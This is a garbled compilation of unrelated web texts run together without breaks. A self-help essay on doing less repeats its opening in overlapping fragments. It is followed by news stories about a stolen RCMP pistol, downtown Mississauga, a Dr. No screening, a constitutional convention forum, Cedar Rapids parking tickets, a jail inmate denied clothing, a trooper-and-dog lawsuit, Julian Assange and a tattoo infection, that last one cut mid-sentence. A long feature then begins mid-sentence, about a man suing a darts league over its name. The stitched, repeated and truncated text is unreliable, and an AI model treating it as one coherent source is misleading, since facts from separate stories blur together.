. A common mistake — trying to hard, forcing something that doesn’t want to be forced, forcing people to do things they don’t want to do. A lot of effort, action, and time is wasted. Instead, find a smoother way — think of water, which flows around things rather than trying to force its way through them. Find the pressure points. In martial arts, instead of using maximum force, you are wise to find the points in the body where less force can be used to greater effect, whether that’s to cause pain or imbalance or some other effect. Well, I don’t advocate finding pain, but the idea of pressure points is a good one: if you can find the little spots where a little action can change everything, can go a long way, you have mastered the Do Less philosophy.
. In martial arts, instead of using maximum force, you are wise to find the points in the body where less force can be used to greater effect, whether that’s to cause pain or imbalance or some other effect. Well, I don’t advocate finding pain, but the idea of pressure points is a good one: if you can find the little spots where a little action can change everything, can go a long way, you have mastered the Do Less philosophy. Let others do. Give others the room and freedom to move, to create, to invent, to learn, to work, to do, on their own. Less time, effort and action spent trying to control others means that you do less, but let others make things happen. It means letting go of control, but that’s a good thing. Other people have creativity, imagination, dedication, good ideas too.
. Give others the room and freedom to move, to create, to invent, to learn, to work, to do, on their own. Less time, effort and action spent trying to control others means that you do less, but let others make things happen. It means letting go of control, but that’s a good thing. Other people have creativity, imagination, dedication, good ideas too. Let things happen. Often our actions interfere with events that would happen without our actions. In other words, if we took no action, things would happen without us. Sometimes it’s better to let things happen. Step back, don’t act, things will happen without us.An RCMP service pistol and ammunition were stolen in downtown Halifax Friday night from the vehicle of an off-duty New Brunswick Mountie.
Halifax Regional Police say the officer parked her personal vehicle around 8 p.m. in the lot at 1549 Lower Water St. When the officer returned about two hours later, a thief had broken in and stolen the gun and three ammunition magazines.
RCMP say the officer had the gun because she was about to travel to Gagetown, N.B., for training following a visit with friends in Halifax. Const. Jullie Rogers-Marsh says there are policies surrounding travelling with guns.
"The pistol must be unloaded and locked in the approved RCMP storage firearms container when travelling," she said. "And the pistol must also be inoperable with a secure locking device."
Halifax police say the gun was locked in a strong box in the vehicle, while the magazines each hold 15 bullets.
The gun is a nine millimetre Smith & Wesson model 5909. There is an RCMP logo on it and a silhouette of a mounted police officer. GRC is also inscribed in the right side of the slide.
Police say anyone with information about the theft should call 902-490-5016, or leave an anonymous tip with Crime Stoppers by calling 1-800-222-TIPS (8477), on the web at www.crimestoppers.ns.ca, or by texting Tip 202 + your message to 274637.The Canadian West begins at Hurontario St., the mighty big multi-laned spine of really big Mississauga. In Mississauga City Centre, the somewhat-insecure-sounding name of Canada’s sixth largest city’s downtown, there is space, and lots of it. It feels like Las Vegas, where skyscrapers don’t cluster but spread, rising like giant electric pylons in between parking lots.
Mississauga's City Centre feels like Las Vegas, skyscrapers rising like giant electric pylons in between vaste concrete expanses. ( SHAWN MICALLEF PHOTO )
The newness of everything here gives it an odd, sci-fi quality. It lacks the patina of age claimed by older cities. There are no old buildings in sight. The twisting hourglass of the “Marilyn Monroe” condo buildings seems like they come from Vegas or Dubai, and their arrival was the first time you may have heard Torontonians jealous of Mississuga. At night the streets are quiet, save for near-constant echo of crotch-rocket speed bikes and souped-up Hyundais with trumpet mufflers whose drivers seem unable to get out of first gear. The size of this city has snuck up on the rest of us, and so has its skyline. When visitors arrive at Pearson International Airport for the first time, they often look across the Tarmac to that hump of Mississauga skyscrapers and think “Ah, there’s Toronto.” Remarkable because a little more than 40 years ago, this was all farmland. Mississauga itself didn’t exist until 1968, when the province amalgamated villages and townships into one municipality.
Article Continued Below
“Old” here means Square One Shopping Centre, the reason this place became the city’s defacto downtown. Hazel McCallion, then mayor of nearby Streetsville, was there for the sod-turning a few years before the shopping centre opened in 1973. If you walk around its perimeter you can find the old parts of the building — it was, in fact, a square shape originally, with an open-air courtyard in the middle — but like most malls it’s metastasized into an indefinable shape with concrete growths around it. We enter like it’s a sponge, disappearing inside. The neighbourhood around Square One takes some time to get to on foot. To the south, the condos are set back from the six- to eight-lane road, and sidewalks meander in narrow, meadow-like space. Shops are sporadic, and some ground-floor living units have been repurposed as stores. Dozens of Wal-Mart carts are up-ended on sidewalks, abandoned near trees and clustered by building doorways, evidence of people walking to the mall, but it being slightly too far away to carry everything home To the west of the mall is City Hall, a postmodern palace whose balcony overlooks Celebration Square, where McCallion could come out to address her people like the Pope does at The Vatican.
Though new and still figuring itself out, there’s little reason to be smug about young Mississauga. Its core is truly a multicultural mix. People here are talking about transit, about how this place can become a better city in both design and quality of life. And they’re investing in art and culture.
Article Continued Below
While Toronto city council discusses closing libraries, the Art Gallery of Mississauga, tucked away inside its City Hall, will soon launch a project that has artists looking at the 18 branches across the city as cultural hubs for each neighbourhood. With over 20,000 more people expected to occupy new condo buildings in the next two decades, this new place is going to get a lot thicker. Go west, young citizen, the future might be in Mississauga. This is the first Shawn Micallef’s weekly Friday column exploring where and how we live in the GTA. Wander the streets with him on Twitter @shawnmicallef. More from the Toronto Star Marilyn Monroe comes to Mississauga Absolute penthouse absolutely pricey
Read more about:The greatest super hero of all time is celebrating 50 years of being on film. With the incredible Blu-Ray Collection coming out on Tuesday the 25th, MGM and AMC are teaming up to give us a special treat on the day before.
Monday September 24th, 50 select AMC theaters across the country will be showing a special screening of the first James Bond film “Dr. NO”. From the press release:
In celebration of the 50th anniversary of the James Bond film franchise, AMC Theatres, Metro-Goldwyn-Mayer Studios and Park Circus are bringing the original James Bond film, DR. NO, to 50 theaters nationwide on Monday, September 24 at 7PM. Tickets for the event are just $7.
You read that? $7! SEVEN US DOLLARS! For the price of a Venti Java Chip Frappuccino you can see one of the BEST Bond films, IN A THEATER! Not only that, you get a little extra for showing your devotion to Bond. All attendees of the screening will get a special limited edition 50 years of James Bond print. I’m guessing they will be the same ones they had at Comic Con, and those were pretty cool. Additionally each theater will be giving away one copy of the ENTIRE collection of Bond films on Blu-Ray! That is the most $7 has gotten anyone EVER!
Fore info and to find a theater showing it, check out the AMC PAGE HERE.
I am severely pissed that I live in Alaska, as they are not doing the screening up here! Probably the only chance I could ever see my all time favorite James Bond film in theaters and I get screwed by geography. So all you people in America, don’t waste this opportunity!
Dr. No hits theaters September 24th. Bond 50 Year Collection hit stores September 25th and Skyfall is out November 9th.The seal of the state of Tennessee. (Photo: State of Tennessee)
CLARKSVILLE, Tenn. — Nationally syndicated talk radio host Phil Valentine will be moderating a legislative forum in Nashville Monday on the calling of a constitutional convention to rein in federal government growth and spending.
The event, hosted by Convention of the States, is being held with the goal of getting a Senate Joint Resolution passed by the Tennessee House in the coming session.
Convention of the States is a project launched by Citizens for Self-Governance with "the purpose of stopping the runaway power of the federal government," according to the group's Web page.
SJR0067, which is co-sponsored by Republican senators Mark Green of Clarksville and Bill Ketron of Murfreesboro, passed the Senate during the 2015 legislative session by a vote of 23-5.
The purpose of the measure is to call an Article V Convention of States that will be "limited to proposing amendments to the United States Constitution that impose fiscal restraints on the federal government, limit the power and jurisdiction of the federal government, and limit the terms of office for its officials and for members of Congress."
This push for a Convention of States has been active the past couple of years, and has had its resolution introduced in 41 states since 2014. The measure also has passed its first committee vote in 21 state legislatures, passed its first floor vote in 15 states and has been fully approved by the legislature in four states, said Norman Bobo, Tennessee Convention of States' deputy state director.
The four states that have fully approved the measure are Alabama, Alaska, Florida and Georgia.
The organization is hoping to limit the "practice of lifetime government service" for elected officials, as well as "dramatically reduce the size and scope of the federal government," Bobo told The Leaf-Chronicle last week.
Additionally, convention proponents hope to be able to limit the runaway spending that's not been addressed by anyone at the federal level, Bobo said. He pointed to the national debt — sitting at $18.4 trillion — and explained that the country has only a few years "before we go off a financial cliff, or we go off a political cliff."
Also joining the organization at the forum to discuss the issue will be Rep. Jay Reedy of Erin.
"The Convention of the States folks have done a great job of getting the information out, and there’ll be a lot of good information made available at the meeting on Monday," Reedy said last week.
However, the organization is not without its opponents.
Shawn Meehan, founder of the Guard the Constitution Project, contacted the The Leaf-Chronicle last week to share some concerns, chief among them that the convention will not abide by the restrictions and will instead become a "runaway convention," making a drastic overhaul to the U.S. Constitution.
In an e-mail last week, Meehan said his organization believed in defending the Constitution, not amending it. "The problem is not The Constitution. The problem is we do not follow The Constitution," the e-mail read.
Bobo told The Leaf-Chronicle over the weekend that these issues will be among those discussed at the forum, and he urged anyone with questions to attend.
The forum will kick off at 7 p.m. Monday at the Millenium Maxwell House Hotel at 2025 Rosa L. Parks Blvd. in Nashville. Guests must register at the Eventbrite.com page for the Convention of States legislator forum.
Reach government and education reporter Alexander Harris at 931-245-0742, or on Twitter at @ACHarris_Leaf.
Read or Share this story: http://leafne.ws/1RQnktACEDAR RAPIDS — No one likes seeing an orange envelope pinned to the windshield of their car. But for some Cedar Rapids drivers, paying a few — or a hundred — parking tickets is worth it to park close to their destinations.
“I have to keep an eye on it every two hours,” Mickie Binger, 21, of Cedar Rapids, said of her four-door sedan parked in a metered spot in the 300 block of Second Street SE downtown.
Binger knows a $50-per-month spot in the nearby parkade would be cheaper than $1 an hour for street parking outside Premiere Business Solutions, where she works as a telemarketer. She plans to buy a permit — just as soon as she pays off $150 in tickets.
In the past six years, Park Cedar Rapids handed out 124,599 parking citations and warnings worth $1.36 million.
Numbers represent total counts of parkings by dollar amount. Chart by Chris Essig / The Gazette
More than three-quarters of the tickets from Nov. 1, 2009, through Oct. 31, 2015, were $7.50, 17 percent were $25, and 4.4 percent were warnings with no penalty, a Gazette analysis shows.
Despite a recent fine hike, Cedar Rapids parking is reasonably priced compared to other cities, and the philosophy of the department is more about encouraging people to come downtown than it is about generating revenue, said Doug Neumann, Economic Alliance executive vice president.
“Our goal is to have 15 percent vacancy on the street,” Neumann said.
“We want to make it possible for you to come down here and eat lunch or go to the dentist,” he said.
The city leases its downtown parking system to Downtown Parking Management Inc., which has a five-member board that includes Neumann. The not-for-profit hires Park Cedar Rapids, a private company, to operate the system with the expectation parking will generate at least $1.1 million for the city to pay debt and maintain parking facilities.
Park CR collects about 90 percent of its fines, which is up from 80 percent five years ago, said Jon Rouse, Park CR general manager.
‘Personal contact’
Laura Purcell is the face of the city’s kinder, gentler parking system. The parking ambassador with an education degree writes friendly notes in the margins of parking tickets to let drivers know exactly why they were ticketed.
If you come back to the car while she’s writing, she’s likely to tear up the ticket and explain the infraction instead.
Parking tickets, by street Map shows the streets where the most tickets were recorded. Map by Chris Essig / The Gazette
“Personal contact is just as effective as written,” Purcell said.
On a recent snowy morning, Purcell cruised downtown in a car equipped with license-plate recognition software, which scans for plates and feeds the information into an electronic database.
The database shows if vehicles have expired registration or a large number of unpaid tickets.
Purcell can set alarms so if a car still is parked in a two-hour zone three hours later, she knows it’s time to write a ticket.
ARTICLE CONTINUES BELOW ADVERTISEMENT NEWS AND SPORTS The day's top stories right in your inbox. I am above 13 years of age, and agree to sending policies. SIGN ME UP Thank you for signing up for our e-newsletter! You should start receiving the e-newsletters within a couple days.
The software alerts Purcell when telemarketer Binger’s plate is spotted on the street, for example. Purcell hops out to leave Binger a warning.
When the young woman spots the Park CR car outside, she runs out to make sure she isn’t being towed for unpaid tickets.
When she sees it’s just warning, she chats briefly with Purcell, promising to pay her fines.
“We have to do what we do,” Purcell said later. “But we also make an effort to extend a high level of customer service.”
Cost of doing business
Some Cedar Rapids drivers would rather pay tickets than change their behavior. Forty-six people had 100 or more parking tickets or warnings in the past six years, according to city parking data.
Numbers show the license plate that received the most tickets in the last six years. Table by Chris Essig / The Gazette
One license plate — 495 ZSO — received 411 citations for a total $2,860. The parking database doesn’t include the license plate holder’s name — that’s illegal under the federal Driver’s Privacy Protection Act — but the black Ford SUV got most of its infractions in downtown Cedar Rapids.
“All but one of those tickets has been paid — believe it or not,” Rouse said about the top ticket getter. “For some, it’s just a convenience factor for them. They’d rather not pay for a regular spot.”
ARTICLE CONTINUES BELOW ADVERTISEMENT
Chad Simmons, CEO of Diversity Focus, got 135 tickets worth $920 in the last six years in his white Audi with the plate FOCUS D.
“I have a permanent slot elsewhere in a parking garage, but my job requires me to come in and out,” Simmons said last week after parking in a metered spot on Second Street SE in front of his office.
Simmons usually uses the Park CR PayByPhone app, but after time in the two-hour meters expires, he can’t pay for another spot using the app for 30 minutes.
“Those are the times I’m prone to tickets,” he said.
Park CR raised parking fines Jan. 1, in part to nudge people to use garages and parking lots, Rouse said. Expired meters went from $7.50 to $10, and drivers who overstay meters with time limits — even if they keep paying the meter — will pay $15 if caught. Monthly parking rates in the ramps and surface lot also increased.
Most likely times, places for tickets
Vehicles with Iowa plates got 95 percent of the parking tickets or warnings written in the past six years in Cedar Rapids, but drivers from all 50 states were ticketed.
“We wrote three tickets to someone out of Hawaii,” Rouse said. “We probably should have given them an award for getting their car here.”
Rouse instructs parking ambassadors to give warnings the first time they spot an out-of-state or out-of-county plate.
The most likely time to get parking tickets in Cedar Rapids is between 10 a.m. to 11 a.m. on Wednesdays, with more than 4,000 handed out that hour over the past six years.
ARTICLE CONTINUES BELOW ADVERTISEMENT
Tuesdays and Thursdays also have high ticket counts, which makes sense considering most people work in the middle of the week and take vacation Monday or Friday, Rouse said.
Parking tickets, by hour Numbers represent total counts of parking tickets for each hour on each day of the week, since 2010. Data analysis and chart by John McGlothlen / The Gazette
The most likely spot for tickets is Second Street, with one in six parking citations slapped on cars parked there in the past six years.
Cedar Rapids police handed out 8,800 tickets, or about 7 percent of the total parking tickets in the past six years. Those citations, most of which happen outside of downtown, are often related to parking in a prohibited area, parking improperly, overstaying parking limits and storing cars on the street.
Police citations over the past six years were costlier, with 96 percent $25 or more.Every share makes Black Voice louder! Share To Share To
“This is completely inhumane and unacceptable,” Judge Amber Wolf retorts.
The jury and some people present in the Louisville, ky., courtroom were thrown into a state of disbelieve when a Black woman appeared in court without pants. A report by the WDRB indicates that on Friday morning, the Black female inmate who was not dressed in jumpsuit made an appearance before the Jefferson District Court.
Judge Amber Wolf’s attention was drawn to the fact that the Black woman has been denied pants or any form of feminine hygiene products for days despite her countless continuous requests for them. The lawyer for the Black inmate added that she was also denied shower. This outrageous revelation made the judge furious hence pulled out her cell phone and placed a call to the jail. In the video footage, she could be heard asking the jail, “What the hell is going on?”
The judge then ordered for the Black woman to be properly dressed before proceedings could continue. Dwayne Clark, Metro Correction Deputy Director who gave the Black female inmate clothing admitted that she should have been dressed in a jumpsuit. According to the video of the hearing, Judge Wolf could be heard expressing her amazement about the entire bizarre situation by saying, “This is outrageous. Is this for real?” And then, “Am I in the twilight zone? What is happening?”
Wolf later called back the Black woman to the bench and rendered her unqualified apology. “I’m sorry you had to go through this,” she said.
The stated that she had no charges and it was unlawful to have kept her in custody for that long. The unidentified Black inmate was released from jail with a fine of $100.
This video once again draws attention to the challenges Black people, especially women, face in prisons and detention centers. We already know several cases when Black women mysteriously died in jails; just as it happened with Sandra Bland and Wakeisha Wilson.
Thousands of Black women who serve their terms for minor crimes go through all kinds of discrimination and humiliation. There is a strong need for reforms because detention facilities are being transformed into torture chambers.
Ensure to visit this page for all exclusive news and updates. Kindly SHARE this article on any social media of your choice.CHARLESTON — A national group advocating for the humane treatment of animals has filed a lawsuit on behalf of a Waverly woman arrested and ultimately acquitted of obstructing an officer after stepping between her dog and a West Virginia State trooper with a drawn gun.
The Animal Legal Defense Fund announced the suit in a release Wednesday. The full case documents had not been posted on the United States District Court for the Southern District of West Virginia’s website as of Wednesday afternoon, but the site lists Tiffanie Hupp as the plaintiff and Trooper Seth Cook as the defendant.
According to the release, Hupp is one of three plaintiffs and the other defendants in the case are the West Virginia State Police and Col. C.R. “Jay” Smithers, who was State Police superintendent at the time.
The complaint alleges excessive force, unlawful arrest and unlawful search and seizure, as well as malicious prosecution, negligent training of a police officer and the intentional infliction of emotional distress, battery and slander.
State Police 1st Lt. Michael Baylous declined to comment on the filing.
“It’s our practice not to issue statements” on pending litigation, he said.
Previously published reports indicate Hupp called police after a fight between a family member and neighbor. When troopers arrived at 2395 Carpenter Run Road, Hupp was asked to go inside and get the identification of the problem party.
As a trooper, identified in the release as Cook, approached the porch to retrieve the ID, “a white dog aggressively came toward the trooper,” the criminal complaint said. “He drew the.45-caliber West Virginia State Police-issued sidearm from the holster and presented it as the dog was rapidly approaching and snarling.”
Hupp then stepped between the trooper and the dog, which was captured on video that has been circulated on YouTube. Published reports say the trooper ordered Hupp to step aside but she refused to comply, so he grabbed her arm and moved her aside.
At that point, the complaint says Hupp grabbed at the trooper and began cursing at him, so he shoved her away to provide enough distance to safely holster his firearm.
The release from the Animal Legal Defense Fund says the dog, Buddy, was tied to a nearby tree and posed no threat to the trooper. When the trooper directed Hupp to “control” the dog, she moved between the officer and the dog “in an effort to protect Buddy and her son from the trauma of seeing his beloved dog shot,” the release says.
“Cook grabbed Hupp and threw her to the ground, then pushed her against the police car and arrested her,” it continues.
“It shocks the conscience that police would arrest and prosecutors would seek to incarcerate a woman who did nothing other than protect a dog from being illegally shot,” one of Hupp’s lawyers, John Campbell, says in the release.
Hupp and the other plaintiffs are seeking restitution, including funds so her son can be treated by a mental health professional, which they have not been able to afford, the release says. The child suffers from anxiety and emotional distress when in the presence of police officers, the release says.
“Police shooting dogs is a preventable tragedy in most situations,” Animal Legal Defense Fund executive director Stephen Wells said in the release. “Many jurisdictions are providing mandatory canine encounter trainings to law enforcement to address these types of encounters without lethal force.”Lawyers for Julian Assange have said they may ask US President-elect Donald Trump to close the criminal investigation into the WikiLeaks co-founder, and hope that Sweden will soon close the probe into allegations of sexual assault.
The Obama administration launched a criminal investigation into WikiLeaks in 2010, following the publication of documents about the Iraq and Afghanistan wars provided by whistleblower Private Bradley Manning.
Sweden made a request for Assange’s extradition in November 2010, due to a criminal complaint filed by two women who accused him of sexual assault. Assange has denied all culpability.
He faces potential charges over consensual trysts with the two women, during a visit to Stockholm to give a public speech in August 2010. Initial accusations were dropped after the statute of limitations expired, but the rape charge is valid until 2020, and could result in a sentence of up to six years in prison.
Assange then sought asylum in Ecuador, and has been trapped at the country's embassy in London since June 2012. He finally spoke with Swedish investigators on Monday.
READ MORE: Assange ‘finally afforded opportunity’ to give statement to Sweden, complains of ‘irregularities’
“The results of the interview will later be reported from Ecuador to the Swedish prosecutors in a written statement. After this report, the prosecutors will take a view on the continuation of the investigation," the Swedish Prosecution Authority said in a statement.
Assange’s lawyers said they are hopeful that Sweden will close the case after the interview.(CNN) It all started simply enough: A 31-year-old man went to get a tattoo on his right leg. Beneath an illustration of a cross and hands in prayer, the words "Jesus is my life" were written in cursive.
As tattoo artists will tell you, there are some critically important rules to follow in the hours and days after getting inked. Most important: keeping your new body art clean and covered while the skin has a heightened susceptibility to bacterial infection.
Every time a tattoo gun pierces your skin, the needle is opening a wound -- and another pathway by which germs can enter your body. The larger the tattoo, the more you increase your risk of possible infection.
After removing the original bandage and gently cleaning a new tattoo, the conventional advice is to apply antibacterial ointment for protection. Continue doing this multiple times a day for the next few days, until skin has ample time to heal.
The No. 1 thing to avoid while a tattoo heals is soaking it. That means quick showers, no baths and certainly no swimming. Experts warn to avoid prolonged exposure to potentially dirty water while your skin repairs itself. And that's where the story of the 31-year-old man takes a turn for the worse.
report published last week in BMJ Case Reports, a prominent peer-reviewed medical journal, reveals only that the subject was a Latino man living in Texas. In a typical case study, patients are referred to by their initials. In this case, what happened was so rare, the authors declined to provide even that, to prevent anyone from figuring out his identity.
Five days after getting his tattoo, the man decided to go for a swim in the Gulf of Mexico. Just three days after that, he was admitted to Parkland Memorial Hospital in Dallas with severe pain in both of his legs and feet. His symptoms included a fever, chills and redness around his tattoo and elsewhere on his legs.
"A lot of our patients, when they come to our institution, come in sick -- and he was certainly among the sicker of the patients that we've had come in," said Dr. Nicholas Hendren, an internal medicine resident at University of Texas Southwestern Medical Center and lead author of the report. "He said he had a lot of pain in [his right leg]. That, of course, drew our attention right away.
"Within a few hours, things had progressed pretty quickly," he said. "There's darkening skin changes, more bruising, more discoloration, what we call bullae -- or mounds of fluid that were starting to collect in his legs -- which, of course, is very alarming to anyone, as it was to us.
"He was already in the early stages of septic shock, and his kidneys had already had some injury," Hendren said. "Very quickly, his septic shock progressed from... early stages to severe stages very rapidly, within 12 hours or so, which is typical for this type of infection."
To make matters worse, the man had chronic liver disease from drinking six 12-ounce beers a day. He was immediately placed on a ventilator to help him breathe and given potent antibiotics.
The man tested positive for Vibrio vulnificus, a bacterium commonly found in coastal ocean water. The CDC estimates that this infection, called vibriosis, causes 80,000 illnesses and 100 deaths every year in the United States. The strongest risk factors are liver disease, cancer, diabetes, HIV and thalassemia, a rare blood disorder.
"In the USA, most serious infections appear to occur with the ingestion of raw oysters along the Gulf Coast, as nearly all oysters are reported to harbor V. vulnificus during the summer months and 95% of cases were related to raw oyster ingestion," according to the report.
Most of the time, the only symptoms someone will experience are vomiting and diarrhea, according to Hendren. Most healthy people don't end up in the hospital, he said, because their immune system is strong enough to fight the infection.
But "Infections can also occur with exposure of open wounds to contaminated salt or brackish water; |
understand just how serious Zaffina was. Several members of the Southern California Darts Association pooh-poohed Zaffina and, following several nasty emails and squabbles over Zaffina's name in which it was clear how obnoxious the darts players found him, Fischer mailed him a $30 refund for his membership fee and gave him the boot.
Says former SCDA board member David Irete, "He was becoming a nuisance and pain in the ass and breaking the rules. He was threatening us, so we had to kick him out. He was being a cocksucker, and you can quote me on that, please."
Fischer and the SCDA board hoped they'd never hear from Zaffina or his middle initial ever again.
But he was hardly finished in the battle that started over his "M."
Conducting a simple public-records search, he discovered the league's Achilles' heel: Established in the mid-1960s and generally accepted as the oldest British-style darts league in the United States, the Southern California Darts Association had let its incorporated status lapse in 1977. It had never been renewed. To the players, there didn't seem to be any need.
Zaffina made his move. He legally incorporated as "Southern California Darts Association," without any apparent members, anointed himself both president and CEO, and then sued nearly 60 darts players and eight stunned Los Angeles–area bars where darts are played regularly. The accusation? That the players and the eight pubs had been engaging in "trade libel" and "unlawful business practices" by using the historic name "Southern California Darts Association," which Zaffina now legally controlled.
Through the courts, Zaffina all but brought the historic league to its knees. He even got many of the amazed bar owners to ban all references to the Southern California Darts Association whenever any of the players have a game at longtime spots such as the Robin Hood Pub in Sherman Oaks and Ye Olde King's Head pub in Santa Monica.
Says one well-known bar owner who did not wish to be identified for fear of retribution, "I'm weary of being involved with this guy because he's just been firing off lawsuits. Some of us wanted to fight, but these things can be very expensive... [so] we came to an agreement we all could live with."
Zaffina, however, doesn't understand why everyone's so angry. He warned the darts players he'd come after them, but they didn't listen.
"Who the hell is he to tell me what to do?" Fischer tells the Weekly. "Why is he so special? I was just posting his name the way I do for everyone else. But he went bonkers" when Fischer left out his full name.
Zaffina finds it all perfectly normal. He says the "M" stands for "Martin," that he was named after the suave Rat Pack crooner Dean "Dino" Martin, and launches into a story about how his father, who also used a middle initial and died when Zaffina was 8, drilled into him the importance of being called by his full name and demanding that everyone oblige.
"My father always told me, 'That's the way people should address you,' " Zaffina says. "... And sure enough it stuck, I'll tell you that much."
The darts players are incredulous that Zaffina was able to obtain the league's historic name and are sickened at the thought that the whole thing started over leaving Zaffina's middle initial off a list of competition scores.
"We've had the SCDA name for more than 40 years," Fischer says. "Where does this upstart get the balls to take our name? I mean, who is this guy?"
Zaffina, 52, is a native of Southern California. He's a studio sound man, an actor and a licensed private investigator. Zaffina was blinded in his left eye in 2008 when he inadvertently fell off a stage and into a lighting pit while working on the set of Entertainment Tonight. He stands out at pubs because he carries a large attaché case filled with darts when he comes to play.
Outside of that, Zaffina is mostly a mystery.
"He never talked about himself and instead asked us questions," says Milan Sabata, a former SCDA board member. "And he was very generic about his job."
Zaffina's teammate, 30-year-old musician Nick Turpin, enjoyed playing with Zaffina, calling him "an older brother type" who didn't drink and would bring the guys pizza and pasta during the games. Not at all "what he turned out to be."
As Sabata tells it, when Zaffina first started playing pickup games in 2009 with him and a few others at the Robin Hood Pub in Sherman Oaks, Zaffina "was clean-cut, well-spoken but cocky and seemed very insecure about himself. Every time he threw a bad throw, he got embarrassed with a childish grin, wanting people to tell him it was OK. His parents were Italian and he has this way of talking about respect. He takes it very seriously.... He spells the word'respect' with his middle initial 'M.' "
When speaking, Zaffina occasionally peppers his sentences with legal jargon, which could be explained by the fact that he has a law degree, though he is not a member of the State Bar of California. It also could have something to do with the fact that Zaffina has been part of many lawsuits.
Since 1991, according to an online search of Los Angeles Superior Court records, Zaffina has been involved in at least 22 lawsuits, 18 of them as the plaintiff. They have ranged from small-claims cases to defamation and wrongful-termination claims.
In one case, for example, he sued Target, claiming he'd injured his toe on an escalator. In another case, Zaffina sued 20th Century Fox Films over failure to pay wages in a timely manner and for allegedly having fired him unfairly from the TV show Reba. In 2009, Zaffina's landlord, Zahra Taherkhanchi, sought a restraining order against him, claiming the rent was late and that he had started posting notes on her door four or five times a day and threatening that someone might set her home on fire.
"He gave me a great emotional distress," Taherkhanchi wrote in her legal complaint. "He wants to put too much pressure on me so I can have a nervous breakdown.... I'm scared of [sic] my life."
The court found no credible threats of violence, however, and her request for a restraining order was immediately dismissed. Zaffina tells the Weekly he was unaware that she had filed for a restraining order.
Zaffina received some media attention in 1999, when he got into it with the International Alliance of Theatrical Stage Employees, Local 695, a union for sound technicians. According to Variety, Zaffina, who had been an unsuccessful candidate for the office of business representative of Local 695, alleged that his opponent wrongfully used union money to make and distribute campaign literature.
Two months later, Zaffina sued the local, the winning candidate, and another candidate who ran against him. It became a convoluted web of lawsuits and countersuits, rife with nasty accusations and allegations, stretching across many years. The sound technician union's attorney, Helena Wise — who at one point was sued for defamation by Zaffina — has trouble boiling down the complex case.
"The master complaint got disposed of," she says, "that he would not be able to set forth proper causes of action. And then he filed additional lawsuits, so it's like this never-ending saga."
Wise is reluctant to discuss Zaffina further — for fear of being sued again, except to add, "If you ever failed to include his middle initial [in a mailing], he would return the envelope unopened."
Wise is not the only one hesitant to talk to the Weekly about Zaffina. Several people, including former darts players and an ex-girlfriend, said they were afraid to comment or didn't want to risk the chance of letting Zaffina re-enter their lives — and sue them. Most also warned the Weekly that Zaffina might sue the newspaper for writing about him.
Zaffina, however, disputes the idea that he's a litigious person, pointing to the fact that none of his lawsuits — most of which he eventually won or settled — was ever dismissed as frivolous.
"I go after people under the guidelines of the law because that's the way to do it...," Zaffina says. "When I have a legitimate claim against somebody, I go for it because that's the right thing to do and it's my prerogative. I live in a free country that says we have the right to seek redress of our grievances in a court of law, and thank God for that.
"I'm sure you've known plenty of passive people who just go, 'Oh well,' " he continues. "You can tell... I'm not passive... I'm going to do whatever the law says that I'm allowed to do."
In fact, Zaffina has even told the Weekly that he would sue "if anything came out wrong..." in the story.
Zaffina's ability to inspire ire and fear, however, extends beyond the courtroom, and, as it turns out, the SCDA was not his first darts league.
In 2001, Zaffina was for a short time a board member of the Pacific Darts Association, which is based in Cypress, about 10 miles west of Anaheim.
"The last image I have of Dino is of him threatening to sue us," says Doug Tice, who's been in the Pacific league for 20 years and serves as its recording secretary. "He's a hard guy to forget."
Several members of the Pacific Darts Association declined to comment for fear of retribution. However, according to Zaffina and the league's then-president, Richard Lawrence, everything was running along smoothly until one day a player threatened to harm one of Zaffina's teammates during a match. Zaffina says he expressed concern to the board over some liability issues related to the threats, but that the league did not take strong enough action, so he decided to leave.
When asked whether he threatened to sue the Pacific Darts Association, Zaffina says that members Lawrence and Tice are lying, or perhaps misunderstood him at the time.
"I said, 'Guys, we could be sued,' " says Zaffina. "I certainly had no grounds to go after them at that point in time."
Lawrence, however, paints a more colorful picture.
Zaffina "issued threats of suing the board himself and talked of taking away people's houses following a judgment that he surely would win," Lawrence wrote in an email to the Weekly. "Some people got scared.... Fortunately for the Pacific Darts Association, Dino chose to take what for him was the high road. He left the board and actually stopped playing in the PDA."
When Zaffina was in full swing as a member of the SCDA in 2010, his fellow darts players knew nothing about his legal track record or his history with the other league. But they were about to get a crash course.
About a month after Zaffina emailed Fischer and the league complaining about the presentation of his name on the website's high-scores list, Zaffina was upset again. This time, on Aug. 18, 2010, he emailed the league to say that his middle initial was not being included on the website's moving banner displaying players' scores. His gripe sparked a flurry of email responses from league members — everything from "Dino, blow it out your ASS :)" to the more tempered, "It's extremely unlikely anyone will be mislead [sic] as to who is on the results banner."
Frustrated by Fischer's refusal to accommodate him, Zaffina reached out for help to Milan Sabata, a thick-necked, soft-spoken Czechoslovakian plumber who sat on the league's board. As Sabata tells it, Zaffina called him at least five times after 8 p.m. on Aug. 19, 2010, demanding his name be spelled correctly or removed from the SCDA website by midnight.
"Then he starts threatening me," Sabata says. "He goes, 'How would you feel if your customers go online and see that your picture is on the child molester's website?' So I say, 'Dino, how can you do that?' And he said he had a way to do it, and he scared me." (Zaffina admits that he made a comment about the sex offender registry but vehemently denies that it was a threat.)
That night, as the clock raced toward midnight, Sabata says he frantically urged Fischer to take down Zaffina's name. But Fischer was watching a movie on TV and couldn't be bothered. Maybe after the flick was over, he told Sabata.
Growing more anxious, Sabata kept checking the website to see if Zaffina's name was still there. No changes. Then Sabata received an email from Zaffina:
"It's 12:01 a.m.," it said, "past the deadline."
It would be roughly another 20 minutes or so, Sabata says, before Zaffina's name was removed. At 8:15 a.m. the next day, Zaffina emailed the league, saying, "If you continue with this foolish behavior, as you have in the past with your refusal to spell my name correctly, I sure hope the SCDA and certain individuals have enough money to sustain a defense to what will be forthcoming."
On Aug. 29, 2011, David Irete was excited as he jammed through San Fernando Valley traffic on his way to the SCDA annual meeting at the Robin Hood Pub. A camera operator on Jeopardy! and Wheel of Fortune, Irete also was a die-hard darts promoter and a member of the league's board, who was up for the position of SCDA president that very night.
As Irete neared the bar, he felt his cellphone begin to vibrate inside his pocket. He had a new email. It was not good news.
Zaffina, from whom many of the darts players and league officers had not heard in more than seven months, had blasted an email out to the SCDA members under the banner, "Press Release... Southern California Darts Association Inc. Returns From the Dead After 34 Years."
In it, Zaffina announced that the SCDA, which had incorporated in 1966, was suspended by the state Franchise Tax Board in 1977 and now, after all these years, was finally being brought back to life by him, Dino M. Zaffina, as its new president and CEO.
"[T]he 'illegal' SCDA will no longer be operating anywhere in the United States of America," Zaffina's email read. "And, the men who claim to be board members of SCDA are devoid of any power.... "
